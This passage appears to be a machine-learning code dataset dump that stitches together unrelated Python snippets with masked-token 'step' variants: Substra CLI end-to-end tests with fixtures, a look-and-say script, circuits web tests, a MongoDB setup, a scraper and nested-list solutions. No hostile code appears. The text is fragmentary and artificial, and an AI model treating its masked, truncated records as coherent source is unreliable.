'http://chunantes.substrabac:8001/algo/7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0/file/'},\n {'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'description': {'hash': 'b9463411a01ea00869bdffce6e59a5c100a4e635c0a9386266cad3c77eb28e9e',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f/description/'},\n 'key': '0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f', 'name': 'Neural Network',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f/file/'},\n {'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'description': {'hash': '124a0425b746d7072282d167b53cb6aab3a31bf1946dae89135c15b0126ebec3',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/description/'},\n 'key': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f', 'name': 'Logistic regression',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'},\n {'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'description': {'hash': '4acea40c4b51996c88ef279c5c9aa41ab77b97d38c5ca167e978a98b2e402675',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284/description/'},\n 'key': 'f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284', 'name': 'Random Forest',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284/file/'}]]\n\nmodel = [[{'algo': {'hash': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f',\n 'name': 'Logistic regression',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'},\n 'objective': {'hash': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756',\n 'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'}},\n 'creator': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f',\n 'endModel': {'hash': 'fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb',\n 'storageAddress': 'http://chunantes.substrabac:8001/model/fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb/file/'},\n 'key': '3e1a9e122765b2976f393322ab9d1c59fb113b35e2531900e06c9ae0f41e8afb',\n 'log': 'Train - CPU:100.23 % - Mem:0.14 GB - GPU:0.00 % - GPU Mem:0.00 GB; Test - CPU:0.00 % - Mem:0.00 GB - GPU:0.00 % - GPU Mem:0.00 GB; ',\n 'permissions': 'all', 'startModel': None, 'status': 'done',\n 'testData': {'keys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1'],\n 'openerHash': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0', 'perf': 1,\n 'worker': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55'}, 'trainData': {\n 'keys': ['62fb3263208d62c7235a046ee1d80e25512fe782254b730a9e566276b8c0ef3a',\n '42303efa663015e729159833a12ffb510ff92a6e386b8152f90f6fb14ddc94c9'],\n 'openerHash': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994', 'perf': 1,\n 'worker': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f'}}]]\n\ntraintuple = [{'algo': {'hash': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f',\n 'name': 'Logistic regression',\n 'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'},\n 'objective': {'hash': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756',\n 'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'}},\n 'creator': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f',\n 'endModel': {'hash': 'fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb',\n 'storageAddress': 'http://chunantes.substrabac:8001/model/fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb/file/'},\n 'key': '3e1a9e122765b2976f393322ab9d1c59fb113b35e2531900e06c9ae0f41e8afb',\n 'log': 'Train - CPU:100.23 % - Mem:0.14 GB - GPU:0.00 % - GPU Mem:0.00 GB; Test - CPU:0.00 % - Mem:0.00 GB - GPU:0.00 % - GPU Mem:0.00 GB; ',\n 'permissions': 'all', 'startModel': None, 'status': 'done',\n 'testData': {'keys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1'],\n 'openerHash': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0', 'perf': 1,\n 'worker': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55'},\n 'trainData': {'keys': ['62fb3263208d62c7235a046ee1d80e25512fe782254b730a9e566276b8c0ef3a',\n '42303efa663015e729159833a12ffb510ff92a6e386b8152f90f6fb14ddc94c9'],\n 'openerHash': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994',\n 'perf': 1, 'worker': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f'}}]\n\n\n# Run this test only after an e2e multi orgs\nclass TestList(TestCase):\n\n def setUp(self):\n Config({\n '<url>': 'http://owkin.substrabac:8000',\n '<version>': '0.0',\n '<user>': os.environ.get('BACK_AUTH_USER', ''),\n '<password>': os.environ.get('BACK_AUTH_PASSWORD', ''),\n '--config': '/tmp/.substra_e2e'\n }).run()\n\n def tearDown(self):\n try:\n os.remove('/tmp/.substra_e2e')\n except:\n pass\n\n def test_list_objective(self):\n output = popen(['substra', 'list', 'objective', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == objective)\n\n def test_list_data_manager(self):\n output = popen(['substra', 'list', 'data_manager', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == data_manager)\n\n def test_list_data(self):\n output = popen(['substra', 'list', 'data_sample', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == data)\n\n def test_list_algo(self):\n output = popen(['substra', 'list', 'algo', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == algo)\n\n def test_list_model(self):\n output = popen(['substra', 'list', 'model', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == model)\n\n def test_list_traintuple(self):\n output = popen(['substra', 'list', 'traintuple', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n\n self.assertTrue(json.loads(res) == traintuple)\n", "step-ids": [ 4, 6, 8, 9, 12 ] }
[ 4, 6, 8, 9, 12 ]
a = [1, 11, 21, 1211, 111221] for i in range(30): #next_num_list = [] next_num = '' next_char = '' step = 0 count = 0 # Analyze the string. for char in str(a[i+4]): if step == 0: next_char = char count += 1 step = 1 elif step == 1: if next_char != char: next_num += str(count) + str(next_char) next_char = char count = 1 else: count += 1 next_num += str(count) + str(next_char) a.append(int(next_num)) print a print len(str(a[30]))
normal
{ "blob_id": "3cb3361e8777d31575d81d2a1191f137e4174492", "index": 8224, "step-1": "a = [1, 11, 21, 1211, 111221]\n\nfor i in range(30):\n\n #next_num_list = []\n next_num = ''\n\n next_char = ''\n\n step = 0\n count = 0\n\n # Analyze the string.\n for char in str(a[i+4]):\n if step == 0:\n next_char = char\n count += 1\n step = 1\n\n elif step == 1:\n if next_char != char:\n next_num += str(count) + str(next_char)\n\n next_char = char\n count = 1\n\n else:\n count += 1\n\n next_num += str(count) + str(next_char)\n\n a.append(int(next_num))\n print a\n\nprint len(str(a[30]))\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
import cv2 import os import re class TestData: def __init__(self, image_path= '../../data/test_images/'): test_names = os.listdir(image_path) self.images = [] self.numbers = [] self.treshold = .25 for name in test_names: self.images.append(cv2.imread(image_path + name)) self.numbers.append(int(re.sub("[^0-9]", "", name))) def get_test_data(self): return self.images
normal
{ "blob_id": "122c4f3a2949ee675b7dd64b9f9828e80cbe5610", "index": 1246, "step-1": "<mask token>\n\n\nclass TestData:\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass TestData:\n <mask token>\n\n def get_test_data(self):\n return self.images\n", "step-3": "<mask token>\n\n\nclass TestData:\n\n def __init__(self, image_path='../../data/test_images/'):\n test_names = os.listdir(image_path)\n self.images = []\n self.numbers = []\n self.treshold = 0.25\n for name in test_names:\n self.images.append(cv2.imread(image_path + name))\n self.numbers.append(int(re.sub('[^0-9]', '', name)))\n\n def get_test_data(self):\n return self.images\n", "step-4": "import cv2\nimport os\nimport re\n\n\nclass TestData:\n\n def __init__(self, image_path='../../data/test_images/'):\n test_names = os.listdir(image_path)\n self.images = []\n self.numbers = []\n self.treshold = 0.25\n for name in test_names:\n self.images.append(cv2.imread(image_path + name))\n self.numbers.append(int(re.sub('[^0-9]', '', name)))\n\n def get_test_data(self):\n return self.images\n", "step-5": "import cv2\nimport os\nimport re\n\n\nclass TestData:\n def __init__(self, image_path= '../../data/test_images/'):\n test_names = os.listdir(image_path)\n\n self.images = []\n self.numbers = []\n \n self.treshold = .25\n\n for name in test_names:\n self.images.append(cv2.imread(image_path + name))\n self.numbers.append(int(re.sub(\"[^0-9]\", \"\", name)))\n \n def get_test_data(self):\n return self.images\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
import pymongo from FlaskScripts.database.user_database import user from FlaskScripts.database.blog_database import blog myclient = {} try: myclient = pymongo.MongoClient("mongodb://localhost:27017/") myclient.server_info() print('Database Connected') except: print('Database Error') mydb = myclient["jmitproject"] user = user(mydb) # use user for users interaction blog = blog(mydb) # use blog for blogs interaction
normal
{ "blob_id": "aafdd228cf2859d7f013b088263eab544e19c481", "index": 9995, "step-1": "<mask token>\n", "step-2": "<mask token>\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\n<mask token>\n", "step-3": "<mask token>\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\nmydb = myclient['jmitproject']\nuser = user(mydb)\nblog = blog(mydb)\n", "step-4": "import pymongo\nfrom FlaskScripts.database.user_database import user\nfrom FlaskScripts.database.blog_database import blog\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\nmydb = myclient['jmitproject']\nuser = user(mydb)\nblog = blog(mydb)\n", "step-5": "import pymongo\nfrom FlaskScripts.database.user_database import user\nfrom FlaskScripts.database.blog_database import blog\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\n\nmydb = myclient[\"jmitproject\"]\n\nuser = user(mydb) # use user for users interaction\nblog = blog(mydb) # use blog for blogs interaction\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
#!/usr/bin/env python from http.client import HTTPConnection import pytest from circuits.web import Controller from circuits.web.client import Client, request from .helpers import urlopen class Root(Controller): def index(self): return "Hello World!" def request_body(self): return self.request.body.read() def response_body(self): return "ä" def request_headers(self): return self.request.headers["A"] def response_headers(self): self.response.headers["A"] = "ä" return "ä" def argument(self, arg): return arg def test_index(webapp): f = urlopen(webapp.server.http.base) s = f.read() assert s == b"Hello World!" @pytest.mark.parametrize('body', [ "ä".encode(), "ä".encode('iso8859-1'), ]) def test_request_body(webapp, body): connection = HTTPConnection(webapp.server.host, webapp.server.port) connection.connect() connection.request("POST", "/request_body", body) response = connection.getresponse() assert response.status == 200 assert response.reason == "OK" s = response.read() assert s == body connection.close() def test_response_body(webapp): connection = HTTPConnection(webapp.server.host, webapp.server.port) connection.connect() connection.request("GET", "/response_body") response = connection.getresponse() assert response.status == 200 assert response.reason == "OK" s = response.read() assert s == "ä".encode() connection.close() def test_request_headers(webapp): connection = HTTPConnection(webapp.server.host, webapp.server.port) connection.connect() body = b"" headers = {"A": "ä"} connection.request("GET", "/request_headers", body, headers) response = connection.getresponse() assert response.status == 200 assert response.reason == "OK" s = response.read() assert s == "ä".encode() connection.close() def test_response_headers(webapp): client = Client() client.start() client.fire( request( "GET", "http://%s:%s/response_headers" % ( webapp.server.host, webapp.server.port, ), ), ) while client.response is None: pass assert client.response.status == 200 assert client.response.reason == 'OK' s = client.response.read() a = client.response.headers.get('A') assert a == "ä" assert s == "ä".encode() def test_argument(webapp): connection = HTTPConnection(webapp.server.host, webapp.server.port) connection.connect() data = 'arg=%E2%86%92' connection.request("POST", "/argument", data, {"Content-type": "application/x-www-form-urlencoded"}) response = connection.getresponse() assert response.status == 200 assert response.reason == "OK" s = response.read() assert s.decode('utf-8') == '\u2192' connection.close()
normal
{ "blob_id": "eb891341488e125ae8c043788d7264fff4018614", "index": 6585, "step-1": "<mask token>\n\n\nclass Root(Controller):\n\n def index(self):\n return 'Hello World!'\n\n def request_body(self):\n return self.request.body.read()\n\n def response_body(self):\n return 'ä'\n\n def request_headers(self):\n return self.request.headers['A']\n\n def response_headers(self):\n self.response.headers['A'] = 'ä'\n return 'ä'\n\n def argument(self, arg):\n return arg\n\n\ndef test_index(webapp):\n f = urlopen(webapp.server.http.base)\n s = f.read()\n assert s == b'Hello World!'\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Root(Controller):\n\n def index(self):\n return 'Hello World!'\n\n def request_body(self):\n return self.request.body.read()\n\n def response_body(self):\n return 'ä'\n\n def request_headers(self):\n return self.request.headers['A']\n\n def response_headers(self):\n self.response.headers['A'] = 'ä'\n return 'ä'\n\n def argument(self, arg):\n return arg\n\n\ndef test_index(webapp):\n f = urlopen(webapp.server.http.base)\n s = f.read()\n assert s == b'Hello World!'\n\n\n<mask token>\n\n\ndef test_request_headers(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n body = b''\n headers = {'A': 'ä'}\n connection.request('GET', '/request_headers', body, headers)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == 'ä'.encode()\n connection.close()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Root(Controller):\n\n def index(self):\n return 'Hello World!'\n\n def request_body(self):\n return self.request.body.read()\n\n def response_body(self):\n return 'ä'\n\n def request_headers(self):\n return self.request.headers['A']\n\n def response_headers(self):\n self.response.headers['A'] = 'ä'\n return 'ä'\n\n def argument(self, arg):\n return arg\n\n\ndef test_index(webapp):\n f = urlopen(webapp.server.http.base)\n s = f.read()\n assert s == b'Hello World!'\n\n\[email protected]('body', ['ä'.encode(), 'ä'.encode('iso8859-1')])\ndef test_request_body(webapp, body):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n connection.request('POST', '/request_body', body)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == body\n connection.close()\n\n\n<mask token>\n\n\ndef test_request_headers(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n body = b''\n headers = {'A': 'ä'}\n connection.request('GET', '/request_headers', body, headers)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == 'ä'.encode()\n connection.close()\n\n\n<mask token>\n\n\ndef test_argument(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n data = 'arg=%E2%86%92'\n connection.request('POST', '/argument', data, {'Content-type':\n 'application/x-www-form-urlencoded'})\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s.decode('utf-8') == '→'\n connection.close()\n", "step-4": "<mask token>\n\n\nclass Root(Controller):\n\n def index(self):\n return 'Hello World!'\n\n def request_body(self):\n return self.request.body.read()\n\n def response_body(self):\n return 'ä'\n\n def request_headers(self):\n return self.request.headers['A']\n\n def response_headers(self):\n self.response.headers['A'] = 'ä'\n return 'ä'\n\n def argument(self, arg):\n return arg\n\n\ndef test_index(webapp):\n f = urlopen(webapp.server.http.base)\n s = f.read()\n assert s == b'Hello World!'\n\n\[email protected]('body', ['ä'.encode(), 'ä'.encode('iso8859-1')])\ndef test_request_body(webapp, body):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n connection.request('POST', '/request_body', body)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == body\n connection.close()\n\n\ndef test_response_body(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n connection.request('GET', '/response_body')\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == 'ä'.encode()\n connection.close()\n\n\ndef test_request_headers(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n body = b''\n headers = {'A': 'ä'}\n connection.request('GET', '/request_headers', body, headers)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s == 'ä'.encode()\n connection.close()\n\n\n<mask token>\n\n\ndef test_argument(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n data = 'arg=%E2%86%92'\n connection.request('POST', '/argument', data, {'Content-type':\n 'application/x-www-form-urlencoded'})\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == 'OK'\n s = response.read()\n assert s.decode('utf-8') == '→'\n connection.close()\n", "step-5": "#!/usr/bin/env python\n\nfrom http.client import HTTPConnection\n\nimport pytest\n\nfrom circuits.web import Controller\nfrom circuits.web.client import Client, request\n\nfrom .helpers import urlopen\n\n\nclass Root(Controller):\n\n def index(self):\n return \"Hello World!\"\n\n def request_body(self):\n return self.request.body.read()\n\n def response_body(self):\n return \"ä\"\n\n def request_headers(self):\n return self.request.headers[\"A\"]\n\n def response_headers(self):\n self.response.headers[\"A\"] = \"ä\"\n return \"ä\"\n\n def argument(self, arg):\n return arg\n\n\ndef test_index(webapp):\n f = urlopen(webapp.server.http.base)\n s = f.read()\n assert s == b\"Hello World!\"\n\n\[email protected]('body', [\n \"ä\".encode(),\n \"ä\".encode('iso8859-1'),\n])\ndef test_request_body(webapp, body):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n\n connection.request(\"POST\", \"/request_body\", body)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == \"OK\"\n s = response.read()\n assert s == body\n\n connection.close()\n\n\ndef test_response_body(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n\n connection.request(\"GET\", \"/response_body\")\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == \"OK\"\n s = response.read()\n assert s == \"ä\".encode()\n\n connection.close()\n\n\ndef test_request_headers(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n\n body = b\"\"\n headers = {\"A\": \"ä\"}\n connection.request(\"GET\", \"/request_headers\", body, headers)\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == \"OK\"\n s = response.read()\n assert s == \"ä\".encode()\n\n connection.close()\n\n\ndef test_response_headers(webapp):\n client = Client()\n client.start()\n client.fire(\n request(\n \"GET\",\n \"http://%s:%s/response_headers\" % (\n webapp.server.host, webapp.server.port,\n ),\n ),\n )\n\n while client.response is None:\n pass\n assert client.response.status == 200\n assert client.response.reason == 'OK'\n s = client.response.read()\n a = client.response.headers.get('A')\n assert a == \"ä\"\n assert s == \"ä\".encode()\n\n\ndef test_argument(webapp):\n connection = HTTPConnection(webapp.server.host, webapp.server.port)\n connection.connect()\n\n data = 'arg=%E2%86%92'\n connection.request(\"POST\", \"/argument\", data, {\"Content-type\": \"application/x-www-form-urlencoded\"})\n response = connection.getresponse()\n assert response.status == 200\n assert response.reason == \"OK\"\n s = response.read()\n assert s.decode('utf-8') == '\\u2192'\n\n connection.close()\n", "step-ids": [ 8, 9, 11, 12, 15 ] }
[ 8, 9, 11, 12, 15 ]
import csv import datetime import json import re import requests import os r = requests.get("https://www.hithit.com/cs/project/4067/volebni-kalkulacka-on-steroids") path = os.path.dirname(os.path.realpath(__file__)) + "/" if r.status_code == 200: text = r.text pattern = 'Přispěvatel' m = re.search(pattern, text) pattern2 = '<strong>([0-9]{1,})' m2 = re.search(pattern2, text[m.start():]) pattern3 = 'currency " >([0-9]{1,})' m3 = re.search(pattern3, text.replace('&nbsp;', '')) with open(path + "data.json", "w") as fdata: json.dump({ "date": datetime.datetime.now().isoformat(), "amount": m3.group(1), "supporters": m2.group(1) }, fdata)
normal
{ "blob_id": "f3329962004a4454c04327da56d8dd1d0f1d45e7", "index": 763, "step-1": "<mask token>\n", "step-2": "<mask token>\nif r.status_code == 200:\n text = r.text\n pattern = 'Přispěvatel'\n m = re.search(pattern, text)\n pattern2 = '<strong>([0-9]{1,})'\n m2 = re.search(pattern2, text[m.start():])\n pattern3 = 'currency \" >([0-9]{1,})'\n m3 = re.search(pattern3, text.replace('&nbsp;', ''))\n with open(path + 'data.json', 'w') as fdata:\n json.dump({'date': datetime.datetime.now().isoformat(), 'amount':\n m3.group(1), 'supporters': m2.group(1)}, fdata)\n", "step-3": "<mask token>\nr = requests.get(\n 'https://www.hithit.com/cs/project/4067/volebni-kalkulacka-on-steroids')\npath = os.path.dirname(os.path.realpath(__file__)) + '/'\nif r.status_code == 200:\n text = r.text\n pattern = 'Přispěvatel'\n m = re.search(pattern, text)\n pattern2 = '<strong>([0-9]{1,})'\n m2 = re.search(pattern2, text[m.start():])\n pattern3 = 'currency \" >([0-9]{1,})'\n m3 = re.search(pattern3, text.replace('&nbsp;', ''))\n with open(path + 'data.json', 'w') as fdata:\n json.dump({'date': datetime.datetime.now().isoformat(), 'amount':\n m3.group(1), 'supporters': m2.group(1)}, fdata)\n", "step-4": "import csv\nimport datetime\nimport json\nimport re\nimport requests\nimport os\nr = requests.get(\n 'https://www.hithit.com/cs/project/4067/volebni-kalkulacka-on-steroids')\npath = os.path.dirname(os.path.realpath(__file__)) + '/'\nif r.status_code == 200:\n text = r.text\n pattern = 'Přispěvatel'\n m = re.search(pattern, text)\n pattern2 = '<strong>([0-9]{1,})'\n m2 = re.search(pattern2, text[m.start():])\n pattern3 = 'currency \" >([0-9]{1,})'\n m3 = re.search(pattern3, text.replace('&nbsp;', ''))\n with open(path + 'data.json', 'w') as fdata:\n json.dump({'date': datetime.datetime.now().isoformat(), 'amount':\n m3.group(1), 'supporters': m2.group(1)}, fdata)\n", "step-5": "import csv\nimport datetime\nimport json\nimport re\nimport requests\nimport os\n\nr = requests.get(\"https://www.hithit.com/cs/project/4067/volebni-kalkulacka-on-steroids\")\n\npath = os.path.dirname(os.path.realpath(__file__)) + \"/\"\n\nif r.status_code == 200:\n text = r.text\n pattern = 'Přispěvatel'\n m = re.search(pattern, text)\n pattern2 = '<strong>([0-9]{1,})'\n m2 = re.search(pattern2, text[m.start():])\n pattern3 = 'currency \" >([0-9]{1,})'\n m3 = re.search(pattern3, text.replace('&nbsp;', ''))\n with open(path + \"data.json\", \"w\") as fdata:\n json.dump({\n \"date\": datetime.datetime.now().isoformat(),\n \"amount\": m3.group(1),\n \"supporters\": m2.group(1)\n }, fdata)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class Solution(object): def depthSum(self, nestedList): if len(nestedList) == 0: return 0 from queue import Queue q = Queue() sum = 0 depth = 1 for item in nestedList: q.put(item) while not q.empty(): for _ in range(q.qsize()): item = q.get() if item.isInteger(): sum += item.getInteger() * depth else: for next in item.getList(): q.put(next) depth += 1 return sum <|reserved_special_token_1|> <|reserved_special_token_0|> class Solution(object): <|reserved_special_token_0|> <|reserved_special_token_0|> class Solution(object): def depthSum(self, nestedList): if len(nestedList) == 0: return 0 from queue import Queue q = Queue() sum = 0 depth = 1 for item in nestedList: q.put(item) while not q.empty(): for _ in range(q.qsize()): item = q.get() if item.isInteger(): sum += item.getInteger() * depth else: for next in item.getList(): q.put(next) depth += 1 return sum <|reserved_special_token_1|> <|reserved_special_token_0|> class Solution(object): def depthSum(self, nestedList): return self.dfs(nestedList, 1) <|reserved_special_token_0|> class Solution(object): def depthSum(self, nestedList): if len(nestedList) == 0: return 0 from queue import Queue q = Queue() sum = 0 depth = 1 for item in nestedList: q.put(item) while not q.empty(): for _ in range(q.qsize()): item = q.get() if item.isInteger(): sum += item.getInteger() * depth else: for next in item.getList(): q.put(next) depth += 1 return sum <|reserved_special_token_1|> <|reserved_special_token_0|> class Solution(object): def depthSum(self, nestedList): return self.dfs(nestedList, 1) def dfs(self, nestedList, depth): sum = 0 for item in nestedList: if item.isInteger(): sum += item.getInteger() * depth else: sum += self.dfs(item.getList(), depth + 1) return sum class Solution(object): def depthSum(self, nestedList): if len(nestedList) == 0: return 0 from queue import Queue q = Queue() sum = 0 depth = 1 for item in nestedList: q.put(item) while not q.empty(): for _ in range(q.qsize()): item = q.get() if item.isInteger(): sum += item.getInteger() * depth else: for next in item.getList(): q.put(next) depth += 1 return sum <|reserved_special_token_1|> """ This is the interface that allows for creating nested lists. You should not implement it, or speculate about its implementation class NestedInteger(object): def isInteger(self): # @return {boolean} True if this NestedInteger holds a single integer, # rather than a nested list. def getInteger(self): # @return {int} the single integer that this NestedInteger holds, # if it holds a single integer # Return None if this NestedInteger holds a nested list def getList(self): # @return {NestedInteger[]} the nested list that this NestedInteger holds, # if it holds a nested list # Return None if this NestedInteger holds a single integer """ # Version 1: DFS Recursive class Solution(object): # @param {NestedInteger[]} nestedList a list of NestedInteger Object # @return {int} an integer def depthSum(self, nestedList): return self.dfs(nestedList, 1) def dfs(self, nestedList, depth): sum = 0 for item in nestedList: if item.isInteger(): sum += item.getInteger() * depth else: sum += self.dfs(item.getList(), depth + 1) return sum # Version 2: BFS, Non-Recursive class Solution(object): # @param {NestedInteger[]} nestedList a list of NestedInteger Object # @return {int} an integer def depthSum(self, nestedList): if len(nestedList) == 0: return 0 from queue import Queue q = Queue() sum = 0 depth = 1 for item in nestedList: q.put(item) while not q.empty(): for _ in range(q.qsize()): item = q.get() if item.isInteger(): sum += item.getInteger() * depth else: for next in item.getList(): q.put(next) depth += 1 return sum
flexible
{ "blob_id": "bb81027ed5311e625591d98193997e5c7b533b70", "index": 4945, "step-1": "<mask token>\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n if len(nestedList) == 0:\n return 0\n from queue import Queue\n q = Queue()\n sum = 0\n depth = 1\n for item in nestedList:\n q.put(item)\n while not q.empty():\n for _ in range(q.qsize()):\n item = q.get()\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n for next in item.getList():\n q.put(next)\n depth += 1\n return sum\n", "step-2": "<mask token>\n\n\nclass Solution(object):\n <mask token>\n <mask token>\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n if len(nestedList) == 0:\n return 0\n from queue import Queue\n q = Queue()\n sum = 0\n depth = 1\n for item in nestedList:\n q.put(item)\n while not q.empty():\n for _ in range(q.qsize()):\n item = q.get()\n if item.isInteger():\n sum += item.getInteger() * depth\n else:\n for next in item.getList():\n q.put(next)\n depth += 1\n return sum\n", "step-3": "<mask token>\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n return self.dfs(nestedList, 1)\n <mask token>\n\n\nclass Solution(object):\n\n def depthSum(self, nestedList):\n if len(nestedList) == 0:\n return 0\n from queue import Queue\n q = Queue()\n sum = 0\n depth = 1\n for item 